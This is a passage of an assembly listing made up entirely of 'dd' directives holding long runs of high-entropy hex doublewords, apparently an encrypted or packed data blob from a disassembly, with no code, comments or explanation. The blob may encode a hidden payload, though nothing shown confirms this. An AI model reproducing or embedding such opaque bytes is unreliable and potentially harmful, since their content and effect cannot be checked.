64611CD4h, 0B60F90E5h dd 0DA840E8h, 0FC393C70h, 634FE545h, 70891D5Fh, 465F403Bh dd 9630AE3Bh, 81CE7B0h, 5F1F1E1Dh, 87B2CE3Dh, 0E930525Bh dd 0B0A0B733h, 14A8E587h, 0A73DE6C9h, 8A49B040h, 707E7h dd 0D973D959h, 853B50C0h, 0A0727596h, 90DAF0C8h, 731263E0h dd 4091EB24h, 334BFE9h, 0B899A82Eh, 0A8E80E05h, 0B3C46075h dd 0E9F7AF38h, 5D96B08Dh, 58E491DAh, 0BFAAC4C9h, 0E3591BE3h dd 90F0AA4Fh, 0B5C44099h, 8F1322EEh, 0B5B4D840h, 4205B8DEh dd 1B01C8EAh, 0B44CD8E0h, 389FC59Dh, 9B660775h, 58C5349Bh dd 7DAD87EEh, 0E676101Eh, 87067381h, 6171D8FDh, 3344048Eh dd 5CD80EC4h, 0D8CFA519h, 0E74996DFh, 0B244CD39h, 50D8C55Bh dd 9CF9D1FFh, 45D3A654h, 0CCDE5DAAh, 0E168D862h, 97C99F87h dd 97770151h, 8D3B9558h, 0C5267E18h, 0E786F9C6h, 5DE0E721h dd 3EE21113h, 58C9A43Dh, 5B26E7E0h, 36C1B591h, 0A17D16E4h dd 604BF375h, 7C60B5E6h, 0AB3DEDE7h, 572E7DFh, 81BBAB1Bh dd 0D8E6F66Ah, 2046A674h dd 0E08078E7h, 0CB26AA5Bh, 0B16E5D36h, 5CB9E689h, 0E744A4B5h dd 0EA0087F0h, 855ABEAFh, 0FA671305h, 0ACC7D5E4h, 81B39F7h dd 6A95C474h, 18B5F386h, 5E68347Eh, 0B74AE756h, 1696B4E6h dd 71FE67F1h, 0A87D4DB1h, 0DFF25381h, 0B2958AF9h, 0B5BCD88Ch dd 81EBE965h, 769B7CBDh, 0C2C95757h, 0B15889B8h, 0B1564EA8h dd 9D6B2219h, 0C905798h, 0D5BFB056h, 0F5CF63CDh, 0D0CDA86Fh dd 0A2A42390h, 5DD931A0h, 0ED98F35Ah, 0B46C4D78h, 0E89C43B2h dd 7EE0BCA0h, 137882C3h, 87F19950h, 0DDF7A4E7h, 0B1A3F2B1h dd 810B0E30h, 0D897C936h, 1684D8B4h, 592E181h, 58993877h dd 1811DE3h, 0B6B87A5Fh, 0A4EBF0D8h, 0D492D45Ah, 0ECE00138h dd 0BA54B0E0h, 8D3912DCh, 0D8B7EA86h, 0FFA8D3C4h, 94E3ECE8h dd 8487DDC8h, 0FCA680C2h, 2C97EF66h, 0A73BDE75h, 85F2A95Bh dd 31111338h, 44ED6136h, 0BB50A065h, 627B5050h, 83D32CC1h dd 0BB442870h, 0B8CBD91Dh, 9690F139h, 0F30F5D42h, 3C12B771h dd 48338A5Bh, 5BE5A7B2h, 4278489Eh, 5B37B379h, 0B4B2B492h dd 2CBBA65Bh, 0C42BB347h, 79B591BCh, 6F3558EAh, 0C8F6B55Bh dd 0AA716813h, 0B4A75DA9h, 0BA2DA79h, 0DFDAF440h, 9153EE94h dd 468308E3h, 0CC90C7D2h, 3BA8A7ABh, 0DA9422ACh, 72304EAAh dd 0CFCFB0D1h, 0E026386Fh, 0CE858BF6h, 0A6163055h, 733BEFB0h dd 58B2BB6Fh, 83A37383h, 0B40E076Bh, 1968A304h, 7267C78Ah dd 12B3FDEBh, 5221E6A2h, 79CE482Ah, 0F4B50EBFh, 0C525F1DAh dd 0FB4F0082h, 33F1EBA5h, 43CCEB49h, 0CBAFD1DAh, 4EA9669Ah dd 0BEC56B35h, 0DC7A1CD8h, 1CA3E942h, 3DB2118Ah, 0B65A0E71h dd 696C2332h, 0E89D5CBFh, 29EE8089h, 1866B0D8h, 0DBB8A294h dd 0CD73639Fh, 8B48D123h, 8B483B10h, 0A8CF90CBh, 33EBBAA9h dd 38805F63h, 5BF71827h, 6AA06053h, 53124287h, 5F46B028h dd 0E6C2380Fh, 0BEF95896h, 0D835E7ABh, 86A3184Fh, 23D823F1h dd 9AB935E0h, 0D4A38F6h, 60FD610Ch, 89F94A4Bh, 91CEC005h dd 832C891h, 32704677h, 0B3C4EA6Ch, 2EF59129h, 0D2466EDFh dd 5B946808h, 0BAC0AFEBh, 6408B7C5h, 570779FBh, 8DC5EAFFh dd 138B6008h, 2E9DC5B5h, 0FE0442C6h, 0AEB1937Ch, 0A149A378h dd 8B2FF00h, 85BAA70h, 0BF78F1B5h, 0E78DF3C2h, 8B403BBCh dd 2AD8FBC3h, 0F63826B3h, 94839677h, 10395D30h, 3AF4F3F5h dd 0D76D00D4h, 3A21A4C4h, 0A8732C76h, 0B5F46551h, 96E4D45Eh dd 8F1B43E9h, 7154D620h, 0C42CD0D0h, 0C307BFF4h, 0DCB0A081h dd 504B12h, 5B9D5E52h, 894BB773h, 35150052h, 782CB124h dd 0ABB28165h, 4397F504h, 8974F299h, 0D51B8749h, 7F3B8FC9h dd 0B598EF39h, 884809Ch, 312CACB9h, 0FC35A18Bh, 0F354A167h dd 0F7FCF9E8h, 93573B23h, 89FEE093h, 2592E42Dh, 23FD0BCCh dd 0B6A06EECh, 0C5B2AF73h, 59D4DDC0h, 0F8B6BC68h, 92B9E4D7h dd 2F8446B8h, 0C5EAE58Ch, 1DF3B4F5h, 49B5572Dh, 0E683C5B5h dd 2D1399B0h, 920E6F84h, 0B2A7B54Ch, 543C48AEh, 40EC6E79h dd 5065A044h, 0B1502BEBh, 86266B17h, 642A3E0h, 46B7B073h dd 0A34C8DA7h, 0AFDC92DBh, 0CD1EB0Fh, 98FF118Eh, 0E8B2E8A9h dd 787C4FA5h, 0B1C49C4Bh, 8480BBF0h, 778BEF0Bh, 4E3D9ECDh dd 489B75B6h, 0E24A09F7h, 0EFD45CD8h, 0D3A67C90h, 0FFC969AEh dd 600364C5h, 58D86905h, 0E9289186h, 0B8B4778Bh, 0B19487F4h dd 0AEF27162h, 54E18AACh, 89757C43h, 6C0B3075h, 29A95C93h dd 7AECF881h, 230734C9h, 0DE2BC320h, 0D8E3BC03h, 0ABD7A5ADh dd 0A9E0E274h, 0E6F6ECD8h, 0CBBA39DAh, 48E570D1h, 98F0F1EFh dd 0FF47ACB0h, 3F208E14h, 0D8ACC4EBh, 346AFC8Ch, 0B5992C81h dd 6106F1D8h, 0D8F3CBF8h, 0D8F4EF98h, 9559E994h, 0D3805100h dd 2AB58993h, 9AE04B33h, 0F1B1E065h, 2D04A84Ch, 0D534DAC6h dd 3BE190E6h, 36F19B17h, 44254805h, 952E7291h, 0D8E36C49h dd 897AB6A4h, 28119A94h, 0B19C71E2h, 3A2C341Dh, 0B43863A0h dd 8F6BE00Fh, 73B8F13Bh, 0B6B4F13Ah, 0DAAB73B5h, 753BE8A0h dd 4171B170h, 31C27A39h, 98CC92E5h, 0A0D493EBh, 6BFFEF2Ah dd 43F5064Eh, 0BC7633E0h, 0B8E042BEh, 0D0034041h, 0B5917452h dd 0C9A8E65Ah, 0E017064h, 0FB73B13Bh, 1128869Dh, 65DB36D1h dd 3C2E96D3h, 3451E9F7h, 5FF38D50h, 0A39CD838h, 0BEBCC6F1h dd 0DC49A913h, 48A80CDAh, 588E78A2h, 0A989AC3Ch, 8DC0682Ch dd 2C3C2D70h, 8C14A43Ch, 89865C24h, 3460FD29h, 3A9D805h dd 3C796923h, 8430FDF8h, 35EBECA9h, 0AD899333h, 0C41C13A2h dd 5DD9A9FCh, 0BE786EE9h, 888C2CF4h, 0C384BE8Dh, 8CD726C9h dd 0A494609Ch, 8D570C8Fh, 0A43CACFBh, 0BFBC309Fh, 934BB2ECh dd 0BAC5E353h, 8620B577h, 21CD6240h, 0A2A843B7h, 1C50139Bh dd 0B740858Bh, 604FE309h, 13DBA55Bh, 0B13CFC24h, 0B8E98083h dd 0AECC2E6Dh, 8FC6CB82h, 0A158A148h, 0BEFE7EF6h, 0A968543Ch dd 977C8FB8h, 18F79393h, 1CBC0C8Eh, 0D6FE7C2Dh, 8328C4FDh dd 0AC8634E0h, 30A92989h, 998FB0C4h, 4C872379h, 8D141374h dd 188FB8B9h, 54AC338Eh, 0C48EBC54h, 8B8E8EE0h, 0B0972254h dd 0ED4288Fh, 32217878h, 8FE8E4B2h, 69787884h, 83949079h dd 9A08DE0h, 94797852h, 0D18EE4B0h, 0C9501DE8h, 8176305Fh dd 0B6999057h, 0BB91AE8Dh, 949C472Eh, 0A1E4BFA9h, 0BF5BA7B6h dd 0BB36A9A9h, 40282C61h, 0C89C2EA0h, 0FAB39B91h, 0A07CA050h dd 0C98BC282h, 8EA9089Ch, 0C289A914h, 0E4207C82h, 0A98B308Dh dd 0C078A989h, 7831D048h, 0D482C2DDh, 728C83E0h, 0D861BC41h dd 45AC9CA5h, 5154AC2Eh, 0E47C5A6Eh, 548D788Dh, 48FF9790h dd 8DD8D48Dh, 9BEB8D4h, 0A42F9810h, 0D10C42C9h, 0BF480700h dd 0DEBF6CC0h, 8454A7A7h, 38FAFF2h, 0C61797C0h, 7C0388F1h dd 0F6FE14BFh, 0F4BF2EFEh, 2CC83C20h, 0A97C2C3Ch, 0FC10ECF8h dd 3C2CA397h, 60ABF004h, 232FAD94h, 0F48D2493h, 0FD4B8ECCh dd 3C7882BEh, 9E8E10F8h, 3C717889h, 8D2460EAh, 2D14D414h dd 0B068A0F3h, 78787934h, 0A8BE4047h, 806C8D9Ch, 69232123h dd 41C837Ch, 23217804h, 0CCF82C21h, 69788E88h, 84D87879h dd 8F94A9F4h, 78797879h, 0C8A03898h, 5A54A6D4h, 0D42EBD44h dd 78755CA9h, 0CC0C54DDh, 0D10C28FDh, 0C954A0F3h, 2408BD34h dd 43FC427Fh, 0C98D64D5h, 0D980C1BEh, 9C427F9Ch, 0E904D11Ch dd 49152EF8h, 8825E141h, 0F184F98Eh, 0EC63E3C9h, 8D898FC8h dd 958D5C19h, 0CC8C2C33h, 0B8080C8Fh, 18C3BEB6h, 5488C89Bh dd 4BBBFC73h, 0DC400B11h, 0C2BB82BDh, 54BDE841h, 825CA9C8h dd 80C282C2h, 3D14AC44h, 0BCC07C2Ch, 94B43891h, 0A0777957h dd 40D6BC33h, 3242BC58h, 74A020EFh, 718D7013h, 2C338E5Ch dd 8E44C98Ch, 94388E14h, 2320C2E3h, 8DA0408Dh, 905B3100h dd 9D3B1C93h, 698C7DD0h, 0BC68540Ch, 0BC78B206h, 3CE7BC08h dd 6CFAAC2Ch, 2437D814h, 0D6FEF6BBh, 8838DC83h, 23211629h dd 0D4A8C421h, 54D4D9B0h, 0C2BA6D4h, 0D4D48CFCh, 0D7F05C54h dd 0A4848FD0h, 5C797879h, 90F88398h, 23039758h, 28A9A869h dd 0B82483A0h, 96AB7F90h, 3CBCB061h, 6EFF8C2Dh, 404804BBh dd 2D54A8BBh, 8329A0DCh, 33BCA170h, 6AF6FE7Ch, 6864D692h dd 0A9C4A97Ch, 742D2989h, 0E004642Bh, 8B82C282h, 24D8D714h dd 82C282A0h, 0C40034C2h, 0D45C54F0h, 8083D4C6h, 8D08A9E4h dd 0D4D1A780h, 6C27ECF8h dd 0BA3555B1h, 0B1A5E776h, 69217F2Fh, 0DCB9A7E3h, 0A8B04D8Dh dd 3C3C3E8Eh, 55B0418Ch, 42828D0Ch, 8C69C9ACh, 78D07D8Fh dd 7186D4DCh, 9F05A4EFh, 786921F8h, 2D581978h, 963E28A7h dd 9F210393h, 0CDBA3524h, 0E95F2AE9h, 0A8AFC548h, 9C70DD8Fh dd 0D55C427Fh, 68EDBE7Eh, 0E95FC4E5h, 0EFFD472Eh, 8DE0F564h dd 7B8CD88Fh, 0A0858C03h, 0D695009Dh, 0F0036EC9h, 0A580AFADh dd 0BC3C37ECh, 40835E4h, 51C6F788h, 48BEBB22h, 0BA44BBA8h dd 843EDC3Ch, 0A8BA5010h, 7969BA8Dh, 83FC62DCh, 78A91C50h dd 0CC232178h, 388F9828h, 61C954A6h, 0BAC45BECh, 6B2105B4h dd 0F8E8D454h, 0CB1780A9h, 63D01AA0h, 0D8BD3BA2h, 0BF8C0751h dd 23F002B7h, 0AEFC88A8h, 26C9D751h, 0EC985080h, 627B8B90h dd 0DE842B31h, 0D0EE16E8h, 0EC2BF6BCh, 8A81E20Ch, 2D019EECh dd 614F52FDh, 0ADC598C3h, 0FA89EA46h, 39ED70D9h, 75178CADh dd 0B4C3BF20h, 0C9E9ABBAh, 0B93644C2h, 80B96CDBh, 0C7B97C44h dd 3454A96Dh, 3445E544h, 222816F3h, 7481788Fh, 78D8005Ch dd 981B90Ch, 82C6D475h, 3CF02C82h, 54D490A9h, 18C454D4h dd 828958D0h, 0FCE054C2h, 8D20F08Fh, 0A9A989A9h, 0AC909880h dd 8896FF8Ch, 407425BCh, 0B782B4B8h, 1CF0338Eh, 87907D8Eh dd 18C9A989h, 60FC588Dh, 0B214546Ch, 2AC98BAh, 8C257878h dd 7C60B4A4h, 0C8D942C0h, 9863B850h, 10B874D8h, 0FEFECD19h dd 0C88DC893h, 0E238E38h, 68212054h, 0D8D72064h, 21365C30h dd 8988DCF1h, 7217A9ECh, 0FC847978h, 0B88CA3E8h, 842B30C0h dd 8FD9ECDCh, 29233325h, 0B0E884C3h, 32B6F6A9h, 0A1E05C8Bh dd 496A6C54h, 0E280F322h, 0B072A8D8h, 0FCB65F97h, 0D4A8B753h dd 78C8078h, 478FAC93h, 0F63D2CDCh, 0D454541Eh, 585CAC8Fh dd 0F378BEFFh, 0B718B708h, 8D1BB724h, 68688C33h, 540E2380h dd 40442120h, 0C0D8CC34h, 0C13AD980h, 8B54B75Ch, 0CBFC2D29h dd 0F0838CF4h, 0A8D1A99Ch, 8D4089A9h, 421774ACh, 0C6CCC054h dd 0F4ED4C13h, 0C28EF08Fh, 40C2BCE5h, 174C7974h, 4881985Ah dd 0D881B74Bh, 803AFDD8h, 0B6B64478h, 3978C82h, 34A92825h dd 28F48351h, 93A90914h, 0BC348F20h, 5454AAFAh, 0AC9020F4h dd 9D4DFF32h, 0F0B88D39h, 0BCA3A805h, 86B050F0h, 8EF0B849h dd 1558B641h, 94A877F3h, 0D700E1A3h, 80C4CC23h, 0ACA386B8h dd 0E0A121EEh, 0A6A828B0h, 0A205ECEDh, 1AB105F4h, 0B51FBBEDh dd 0DAF7076Bh, 26EC92A9h, 90BCAD09h, 0C8706DC0h, 0B37C7341h dd 25CDF2B1h, 4F94E685h, 0B148854Fh, 0CF7034CEh, 0BD06B87Bh dd 0E1719BA6h, 75403BF0h, 8FC72B46h, 91C3408Bh, 4C899C11h dd 3880B43Ah, 60D989B4h, 0F758F2CDh, 6B5BE935h, 100A8411h dd 6F3A36B0h, 30A6A480h, 80578261h, 0E3DFBA84h, 6B318930h dd 0BE30C6ABh, 9C5B9018h, 0C7664DDBh, 60853B5Bh, 7DE80FA3h dd 0DAB351FBh, 0A454E79Eh, 0C4DDE8BBh, 4E1CBCB0h, 0CCB7B8F5h dd 3DA4BDB9h, 6F17DAE5h, 0E95C6AEEh, 2123B339h, 73334F84h dd 0CCB456B4h, 46C53B53h, 405C9219h, 0BB36E4D8h, 0E0D8DCC4h dd 7CB20691h, 0D8A3C597h, 3FF785FCh, 0F80EF854h, 94F4F8D8h dd 0EF8D1D8h, 0D8A8F020h, 0B530C58Ch, 1087DAA0h, 28B8D5B8h dd 4A7390CDh, 6860A76Bh, 0EC0EB6DAh, 0CD3DE952h, 0D6154350h dd 48CA3830h, 8D3B1489h, 30F20EC6h, 0DF6F76F7h, 2EA0DAB9h dd 3C808E5Bh, 676C08ECh, 761E7C4Ch, 888D4871h, 0E38DB5CDh dd 0E765935Bh, 0A58333Eh, 83A7EBE3h, 0AFE0C6B4h, 0AF19E0ECh dd 9B416670h, 0A5E1E6A6h, 3AE109DAh, 0B4AAB238h, 3FA0CFA6h dd 0C4FED574h, 0D8B55B71h, 3C0D6921h, 4E59E53Ch, 0FCD8F5D7h dd 0E7EB1787h, 0EEF1C521h, 8F70B1E4h, 0EE3445A3h, 4A632002h dd 134F72CFh, 3BD4CCE5h, 0BC3DBCFDh, 0A9B13B31h, 30A03AE0h dd 4F4FCE4Fh, 0E1C59D4Ah, 0C5B2E888h, 0E00EBFBEh, 0A53476B1h dd 985BB1DAh, 0C830899Eh, 874F8AB2h, 83C56F20h, 9EC5B48Bh dd 0C5C2B19Dh, 0B3E03AB6h, 5F4AE338h, 3874E547h, 0E83823A8h dd 39B2B8B1h, 5933FEA9h, 4FB2EB56h, 0BF12CDCBh, 77AF3506h dd 0D7A23DBDh, 0B7BF5D97h, 0CFD391Ch, 85B3A496h, 145C4B25h dd 4E2EE9h, 0DBAE9278h, 54CC6B86h, 3904BE0Dh, 4E4F7CE5h dd 4BBD44EDh, 5C6CC67h, 3908DB4Eh, 0FEBD60F5h, 0CD3970FDh dd 1454D854h, 0A9BFE90Dh, 7664D95Ch, 0A0AE4AA1h, 150D2B3h dd 1DA5DA49h, 61124710h, 5F4358E7h, 91904525h, 483B1BE9h dd 95A06CEBh, 44B5C840h, 29A41BAFh, 0B69FF81Eh, 9D728479h dd 1C76304Dh, 270A1D49h, 0B0EE049Ch, 883D3A4Fh, 1FF3CA29h dd 3BBD8AC2h, 6A7BAE4Bh, 7CB37274h, 11D1B6FFh, 12215705h dd 1DBDD8CEh, 8338243Dh, 11058946h, 0F85A5DC5h, 3BD28319h dd 7F6D11D0h, 3BD8FFCEh, 0A0CDEBEDh, 7F3B9B4Fh, 0B5B8C34Fh dd 0ACF06B5Fh, 917D83B1h, 98A4FEC4h, 0DE08E3Ch, 0ABBC9BE0h dd 0F339B33Bh, 48D663Fh, 3D4FD3A6h, 719E6805h, 7BB3D93h dd 0E49C142Fh, 0C7BB04D3h, 494A22Bh, 33E1EBE2h, 850A4BE7h dd 9BBCD8A6h, 512F04C5h, 0B42112C0h, 0C2252AD3h, 0DAB71AF4h dd 20D8DE42h, 4AB07B3Eh, 0A8491938h, 0F12B8D33h, 0B0740DAAh dd 67779BCEh, 0A6D9ED5Eh, 42E012FEh, 0AFB68561h, 33896F10h dd 8BF6B4AFh, 416CCCACh, 0BCCB9E7Dh, 8D61DFE0h, 382E0D78h dd 2D34703Fh, 5F02C6C4h, 57DE20h, 0F95EED87h, 0E7D7BDD8h dd 0EF75210h, 682739D4h, 0F6808DD9h, 0B6D60F2Eh, 1AC50C1Ah dd 0B6C0AFB0h, 0A7047983h, 0FCD82181h, 0A3C15AFEh, 0A3C95BB3h dd 0B6E82B16h, 0ED15E026h, 1EA95BFEh, 3B03A0C5h, 84B1BCC5h dd 0E0DAB6E1h, 54F264F2h, 0CB86BC83h, 0C49080C3h, 0B55D3691h dd 0D159CCA9h, 15358946h, 5C9286E0h, 2ED5A6E5h, 0E1747450h dd 0ECD967B5h, 0F4E05285h, 0E1E197B8h, 0BB3C0913h, 982FA0D5h dd 9E08BD94h, 46CEFBB0h, 9920BE48h, 15D60FFDh, 9E40B536h dd 4CBBD705h, 873A65F7h, 4D88BEC0h, 0B36BC807h, 3D8D920Bh dd 3D8EFA38h, 5E1FA30h, 0C7602FD1h, 0BA5B46B0h, 182E77EEh dd 5BFA8505h, 398DF465h, 0E648CCE1h, 24B07A2Bh, 80E7C1A3h dd 1099FFB5h, 0FBE7D18Bh, 6EB66074h, 0A11DF8C2h, 2601B3DAh dd 44234893h, 1744A811h, 718C63BEh, 48A3F8FFh, 0D005FFF5h dd 441080E2h, 0CBA0DA12h, 0B7D006F2h, 98B35B88h, 7DF52E4Bh dd 8A52B160h, 5140B8D1h, 0F665FF41h, 948E30E9h, 3007E1C5h dd 0C5AE1CD8h, 0C7EE18C8h, 4D1805A8h, 0AB707275h, 0B648579Fh dd 9193C6E9h, 0A70F32C8h, 0DAE0F8F8h, 3B4B41B5h, 85484448h dd 0B9A98361h, 47ED52C3h, 41BC9F0Fh, 0E6E7D8FAh, 91684CFAh dd 643561F4h, 2D9BE9B2h, 0F28EAA68h, 0C481F20Ch, 0CCF099BCh dd 0C0F2AE57h, 29EE8792h, 0F6941008h, 1B6B962h, 9740BD8Fh dd 0EB5F4B41h, 8097EBCEh, 20762FF8h, 0ADA4F98Ch, 862A0037h dd 3AC3A32Ch, 20F0873Dh, 95BF7E93h, 0F4D86CD8h, 6F40820Ch dd 0B983D0B3h, 0C1383EB2h, 0A3B14F3Ah, 334BBB39h, 0C5FFB476h dd 0E4CBEF1Bh, 3B61F1B8h, 2CBB70CDh, 83E1CC3Ch, 9359FE46h dd 29646604h, 2A5738A2h, 3923B0D6h, 2B05393Bh, 0B8BBC223h dd 0B8A7893Dh, 6D9ADA0Ah, 912CCD5Eh, 77FED2Ah, 0B30490EAh dd 15A1EC38h, 0D110BD7Fh, 8216F1E0h, 0F2A408E3h, 0D1C43DA9h dd 9C5CB390h, 0C1263590h, 0DD1201BEh, 8F8F438h, 0FCE16AA8h dd 42040FE7h, 3461F781h dd 0A94766FAh, 48550CEBh, 4CFBA848h, 6FE0E9EFh, 0EEC1B16Fh dd 0A1F80F5Dh, 0D3D8ACEh, 27683BF0h, 3B4A9D45h, 0E6F0DA87h dd 0ABCEC207h, 8B2A6D5h, 0E0A83976h, 1592D854h, 593247BDh dd 746735BDh, 7E901EB0h, 1F5D73EFh, 9B4DB65h, 3C3E0F8Ah dd 0F409ECECh, 0D3D60E8Eh, 84A8873Dh, 2276B3E9h, 0D20B1BD3h dd 0E6F4ABC3h, 0D2DB36F1h, 3EB2DA30h, 0EDB539D3h, 0BC453BA8h dd 789FC0FDh, 0B3A80C70h, 0E9B17E21h, 0A0D5D968h, 0A731D8A9h dd 77BDEC70h, 0FFFF5421h, 5D225705h, 90A004D8h, 6C09B450h dd 2D5C6CF3h, 6E650F53h, 9664C5A7h, 68ABD4F5h, 876042EBh dd 7486137Ch, 68AC2C2Bh, 0A1C23178h, 0B10CEE74h, 0C9706889h dd 804E00Ch, 26333DF5h, 0E401759Eh, 6684ACF1h, 9CD3CDB8h dd 3CBF9EA8h, 0B0BB4D13h, 0CCAD5FA3h, 0EAADA63h, 74C8A4B0h dd 297953EFh, 49477C47h, 14EFB9DAh, 20065E4Fh, 864AE5E0h dd 4B29EE94h, 0A5F43A9Bh, 2029387Ch, 4BF56D31h, 4D4CAB91h dd 0B920290Dh, 4E474F4Eh, 8C430EBFh, 0E0A81E5Fh, 4EB8ADBBh dd 8AB44C4Dh, 4A4B7FF9h, 0BCCC5D45h, 449930B7h, 71D284C1h dd 484BFE32h, 67B34FDAh, 50835107h, 0B9737636h, 498C11D4h dd 5E949717h, 0BE9539D4h, 58D53919h, 8DD8F3Ch, 0B1C736B1h dd 3985F5E6h, 9CEA54EDh, 7FCBF62Ch, 5B4CF08Bh, 396C97F3h dd 93CD6CCDh, 7C8DDD6Eh, 0E9ED299Dh, 0E539D154h, 0F2651750h dd 23E3A433h, 254AB16Dh, 685B6C41h, 733BA533h, 764BA05Bh dd 3BEC1C73h, 1D48AC08h, 31FE4140h, 29BD7EB8h, 0C458883Eh dd 255C98BAh, 0CDD44FE7h, 0BB6B3FFFh, 0BC17769Bh, 6CBCFD6Ah dd 71B8BB35h, 0E40850BDh, 0A9409B78h, 0AB2A857Fh, 28E7C2FCh dd 0DCE680CAh, 0B3B95771h, 3FC47FA4h, 82954F8Dh, 18D8E6B9h dd 0EC1F9144h, 990DCD23h, 82A79310h, 3C3818C2h, 0CB78FC30h dd 91CBC490h, 9C34D3D8h, 0E2D002A3h, 918278F8h, 99F08A7Bh dd 2B77280h, 0C59CA1FCh, 98908ACh, 30FF888Dh, 0BDB50829h dd 8A99B1B0h, 69B289A0h, 0F15F6FABh, 0C4368DA7h, 0C5128DDCh dd 22716EA4h, 4C290E80h, 79300DEDh, 0BD7E7179h, 0D885B08Dh dd 0AC2C2CD0h, 0F0F8B578h, 79780CB3h, 969C8031h, 23731808h dd 4AF3A6E8h, 1A1CE874h, 0B47E7477h, 9C144D35h, 68D84CD8h dd 0CD1722C9h, 48D8D09Fh, 58D8E4A7h, 9754D8F4h, 889722C9h dd 0D89864D8h, 10D8AC60h, 7422EEF3h, 0AC57017h, 579F40B0h dd 0B7DABA5Bh, 0B26FB65Bh, 90BA1CD0h, 4DB5A50Ah, 14673B7h dd 96C49EC7h, 8805833h, 0F8A94D4Fh, 0B9B5A2C4h, 89EC5F8h dd 5D1BA5E0h, 0DF93D6C7h, 0F44CBB9Eh, 0D7E77493h, 0B555264Fh dd 0A1AA93C4h, 0B6C4B4A5h, 9CEB8808h, 3C3D70A5h, 0B490648Ch dd 12C2D8BAh, 0B1BC9DF3h, 0F3B1F303h, 90B5A6EBh, 3A52ECABh dd 35BFA048h, 0CBC480Eh, 6DFE3048h, 0C06D91F5h, 646DF98Fh dd 22450417h, 0A441332Dh, 46831600h, 0C68C5274h, 16A060CFh dd 0B2B0AFD8h, 8F9CC91Bh, 3ED189F0h, 5F401B35h, 8BDFE0ACh dd 44EFE3FFh, 0D8704C71h, 0F7C9C6Bh, 778BC6B3h, 0D1DD986Bh dd 8B8697E7h, 655D9F37h, 0FD3D8FF3h, 0E1F63744h, 3DE1FD30h dd 0F971823Dh, 5BE0E18Eh, 0FE4CEF72h, 0BADAE4A0h, 94C5A54Ch dd 428383B0h, 0A078A0FFh, 9DFAC594h, 0CE94371Ch, 8BAB32B8h dd 633BA505h, 0BCD9FBB3h, 0BFB58BFEh, 4E8B624Eh, 89CCC4CDh dd 0F9C7C4BBh, 9EB88A68h, 76EBF587h, 6776FDCBh, 0BC8F9256h dd 0CEC7BCE9h, 8EF62453h, 0C9A9B181h, 4FA9E549h, 7025BFBCh dd 985B403Bh, 0B2B9BAACh, 55EB5C4h, 0D7B7D9BBh, 16B0E7B1h dd 5020D1F1h, 6E47EA6Eh, 53B746ABh, 0D4A0F202h, 9F73766h dd 0BBC0AE9Ah, 0DB0C08C0h, 48C66C3Ah, 17375577h, 0B08F1FF3h dd 0F94F0FBFh, 0D9FFABCAh, 0F366395Fh, 5C3B3E78h, 0EE8F4F61h dd 0D05C1337h, 0B3163050h, 463B1E6h, 0E660CCDFh, 78B66C4Fh dd 85B3AF7Ch, 687440FDh, 0FF50899Eh, 0F48DF17Ch, 282548D3h dd 0F0E2ECB1h, 0DBBE1A44h, 0A21BD4DDh, 6860F6C6h, 3F028C23h dd 0E6E954DCh, 71A0EBE6h, 74EBBA60h, 648E8599h, 0EDB316A4h dd 0A45BA434h, 0EC92ECDFh, 0FBF6472Dh, 4B61556Fh, 0C244C58Bh dd 9401900h, 4F83B014h, 0C62936A4h, 7680B430h, 0D628722Fh dd 7D582554h, 23E70E5Ch, 76AB93C7h, 57924FF4h, 95A730D8h dd 0FDF3EB06h, 56A3AAC5h, 58DFCB00h, 0C8895FB1h, 103B01A5h dd 0C391E580h, 543EDF07h, 0D8E6E432h, 0F6F790D0h, 9280CD8Bh dd 3281B703h, 0F34E6CDDh, 0CFA41C2Ah, 0BFEE4CE9h, 552D702Fh dd 9074CCB3h, 53E6A0DAh, 3BF174C4h, 0ED0193E8h, 0F837C716h dd 0E69F183Eh, 0D95548A3h, 8A369B3Ah, 0E66D4805h, 3EF923F5h dd 5AA4E44Fh, 0E24BFE77h, 5BE5D5BBh, 803997BDh, 87E43C4Ah dd 8E31499h, 3E580872h, 0EF04F8Fh, 0D2D6F00Ch, 4E7E379Dh dd 5AD03BC7h, 93F2B4AAh, 0D371B6D8h, 812F56F0h, 60A6044Fh dd 1595F89Ch, 48FD3B85h, 0FB4B7838h, 732E2908h, 0AB39F9BCh dd 576F4F88h, 8340C44Fh, 0C67B8B62h, 3D2A88A6h, 0B3C5BA32h dd 0F2BAB076h, 5AC2618Bh, 0FCAD14ECh, 0E1A9BB6Dh, 0E89533EEh dd 0BACC1D34h, 0F333B13Eh, 958E6DE0h, 1D20CB77h, 0E1273A39h dd 0E2B1A8EFh, 9FFE0D19h, 0EDA2C4BBh, 0DB08F7D9h, 8CAFB2F2h dd 0B7AA6FFDh, 803E128Ah, 734761C1h, 102EF1BEh, 0B1B0B44Dh dd 998E7A03h, 0D81F90B1h, 0BDC33010h, 8E3FC3B7h, 13C8B7BAh dd 604AC059h, 0E33005A0h, 275354A4h, 0E27F8A4h, 0F880BE4Eh dd 0D3B7F86Fh, 0A9B35833h, 15DCB07Ch, 48ACC509h, 0C8B001BEh dd 0F735A788h, 164B034Eh, 83E6EFCDh, 852C3879h, 0A0438B92h dd 30AACE4Dh, 0F392BD0Ch, 0BA46CF58h, 0C5BF343Dh, 0F1A838B2h dd 58CC7E8Bh, 1FB5CA65h, 0F6F6B25Dh, 0D0240B31h, 88DDA857h dd 34C93365h, 0E05BDCB5h, 106A7368h, 9793C163h, 0EFEF84E1h dd 6BE79FBBh, 0C1D88EBCh, 0AECC53DFh, 0E4A58F74h, 33A9E4B3h dd 0B5B494CCh, 5ABE05B7h, 7DF7C5E6h, 9077F11Fh, 0D89DC44Dh dd 0E9F1A524h, 0E08585EAh, 68CF7E9Bh, 65F6120Fh, 4CB5778Eh dd 0F6B0F2C3h, 0D0DD69ACh, 854FA087h, 6469BA44h, 2C94FDB9h dd 0C5EE3DB6h, 4DE191A8h, 0CAA42F37h, 0EF59C72Ah, 44804827h dd 46D0E530h, 0B20FA014h, 82828D5Ch, 0F28B8D42h, 0B8B485BBh dd 0B728A3BCh, 8FFA083h, 3BB7E0B7h, 0ED132D6Dh, 3D9AF5C0h dd 0F1AA0E11h, 0D8E69DF7h, 0DA4D34F9h, 5E621452h, 0DAA0C44Eh dd 0D07AE74Fh, 0E7B3D17Dh, 1574BCD7h, 73E9DAEDh, 0A387B4E1h dd 87561188h, 14CCCB00h, 464A81B2h, 71C652A9h, 8BE2399Bh dd 8C401376h, 0B0E6D9C4h, 6E25DCB4h, 0E6EA3D3Dh, 34A0D8C8h dd 27BF23C1h, 0CB5BFA9h, 73C9324Bh, 0F8CE97B3h, 8D11A6C5h dd 0EF060E86h, 818D43F2h, 